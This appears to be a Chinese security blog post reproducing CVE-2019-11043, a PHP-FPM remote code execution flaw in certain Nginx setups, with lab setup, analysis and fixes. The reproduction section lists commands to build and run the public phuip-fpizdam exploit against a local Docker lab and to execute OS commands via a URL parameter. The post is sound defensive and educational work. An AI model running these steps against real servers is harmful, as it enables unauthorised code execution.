【漏洞复现】CVE-2019-11043/PHP-FPM在Nginx特定配置下远程代码执行漏洞复现及简单分析

事件背景

9月26日,PHP官方发布漏洞通告,提到Nginx与php-fpm服务器上存在的一处高危漏洞,由于Nginx的fastcgi_split_path_info模块在处理带 %0a 的请求时,对换行符 \n 处置不当使得将PATH_INFO 值置为空,从而导致可以通过FCGI_PUTENV与PHP_VALUE相结合,修改当前的php-fpm进程中的php配置。在特殊构造的配置生效的情况下可以触发任意代码执行。目前开源社区已有漏洞Poc公开。

漏洞信息

漏洞名称 PHP-FPM在Nginx特定配置下远程代码执行
CVE编号 CVE-2019-11043
CNVD编号 -
影响版本 参考影响范围
威胁等级 高危
公开时间 2019年9月26日

影响范围

Nginx + php-fpm 的服务器,在使用如下配置的情况下,都可能存在远程代码执行漏洞。

1
2
3
4
5
6
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
}
}

漏洞复现

1. 编译phuip-fpizdam

git clone https://github.com/neex/phuip-fpizdam


go bulid
*编译需要golang环境,另外中国区最好配置goproxy.cn否则编译会出错,配置goproxy.cn命令如下:

1
go env -w GOPROXY=https://goproxy.cn,direct

编译成功

2. 环境搭建

使用vulhub的漏洞环境 复现
使用以下命令构造漏洞环境(需要docker环境)

1
2
3
4
5
6
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/default.conf
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/docker-compose.yml
service docker start
docker-compose up -d
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/www/index.php
docker cp index.php cve201911043_php_1:/var/www/html/inex.php

/etc/nginx/conf.d/default.conf 配置如下,vulhub的环境nginx配置已更改,使用此环境无需再改

在浏览器打开
http://192.168.80.132/index.php

3.Poc测试

漏洞攻击
使用编译成功的phuip-fpizdam测试

1
phuip-fpizdam http://192.168.80.132/index.php


在浏览器访问:
http://192.168.80.132:8080/index.php?a=id

可以执行系统命令,id可以替换为其他OS命令

漏洞检测
可以采用phuip-fpizdam 的 –skip-attack 参数进行无害的漏洞检测,命令如下:

1
phuip-fpizdam http://192.168.80.132:8080/index.php --skip-attack

漏洞分析

PHP-FPM(PHP FastCGI Process Manager)意:PHP FastCGI 进程管理器,用于管理PHP 进程池的软件,用于接受web服务器的请求。

1.nginx与php-fpm结合的处理流程

打开php-fpm.conf文件,我们看到如下配置:

即:php-fpm模块监听127.0.0.1:9000端口,等待请求到来去处理。

Fast和Nginx,PHP的关系图

处理过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
www.example.com
|
|
Nginx
|
|
路由到www.example.com/index.php
|
|
加载nginx的fast-cgi模块
|
|
fast-cgi监听127.0.0.1:9000地址
|
|
www.example.com/index.php请求到达127.0.0.1:9000
|
|
php-fpm 监听127.0.0.1:9000
|
|
php-fpm 接收到请求,启用worker进程处理请求
|
|
php-fpm 处理完请求,返回给nginx
|
|
nginx将结果通过http返回给浏览器

2.漏洞触发点

因为“fpm_main.c”文件的第1150行代码中由于\n(%0a)的传入导致nginx传递给php-fpm的PATH_INFO为空。
https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_main.c#L1150

进而导致可以通过FCGI_PUTENV与PHP_VALUE相结合,修改当前的php-fpm进程中的php配置。在特殊构造的配置生效的情况下可以触发任意代码执行。

3.此漏洞利用的先决条件:

1.php需要开启FPM模块,该模块在php虽然在PHP5.3.3之后已经加入php核心代码但是的PHP的发行版默认不安装php-fpm模块,所有默认的用户不受影响;要想php支持php-fpm,只需要在编译php源码的时候带上–enable-fpm;
2.需要修改/nginx/conf/nginx.conf配置;
故此该漏洞远程利用起来还是很难的,大家不必惊慌!!

修复建议

1.修改nginx配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符
2.暂停使用 nginx+php-fpm 服务
根据自己实际生产环境的业务需求,将以下配置删除

1
2
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;

参考

[1].https://bugs.php.net/bug.php?id=78599
[2].https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
[3].https://github.com/neex/phuip-fpizdam

扫码关注公众号(SecurityCN) wechat
欢迎您扫码关注SecurityCN(微信公众号:securitycn),本号会发布一些个人学习及研究文章,包括但不限于漏洞分析、漏洞挖掘、代码审计、IOT安全、比赛、培训认证等
坚持原创技术分享,您的支持将鼓励我继续创作!